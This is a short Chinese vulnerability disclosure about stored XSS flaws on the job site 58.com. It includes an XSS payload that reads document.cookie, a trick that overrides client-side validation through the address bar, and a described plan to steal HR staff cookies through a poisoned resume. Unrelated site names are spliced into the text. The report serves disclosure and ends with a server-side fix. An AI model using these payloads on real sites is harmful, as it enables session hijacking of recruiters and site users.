58同城有好几处持久型xss。可以绕过客户端。事实再次证明客户端验证是纸老虎。
漏洞证明:
1. 用户个人资料处:
测试代码:
" onmouseover=javascript:alert(documents.cookie)>
2.爆网站模板
3. 用户简历处绕过客户端xss(最严重)。
测试过程:
58只做了客户端验证,没有做服务端过滤(很危险的信号),所以能绕过。事实再次证明客户端验证是纸老虎。
(1). 填写简历,www.xuhantao.com,建立的每个input项都用js异步验证,思路是找到相应js,然后在地址栏修改验证函数。
(2). 以简历名称为例,它的验证函数是:
function IsResumeNameValidate(c){try{var b=c.val(),a=$("#txtResumeNameInfo");return b.match(/^[\w|\u4E00-\u9FA5]{0,15}$/)?(clearInfoMsg(a),!0):(a.removeClass("action"),a.addClass("wrong"),a.html('<span class="action_po"><span class="action_po_top">\u8bf7\u8f93\u5165\u7b80\u5386\u540d\u79f0\uff0c\u6700\u591a12\u4e2a\u5b57</span><span class="action_po_bot"></span></span>'),c.addClass("wrongborder"),!1)}catch(d){return!0}}
不能输入特殊符号,地址栏输入:
javascript:function IsResumeNameValidate(c){return true};
直接重定义函数,涛涛电脑知识网,覆盖了之前的。
(3). 填入测试代码,保存预览:
(4). 漏洞利用,盗取各公司人力资源的cookie:
测试代码(生成1*1的iframe异步传送cookie):
把简历投寄给hr,等他们上钩。
修复方案:
服务端过滤啊。
作者 random_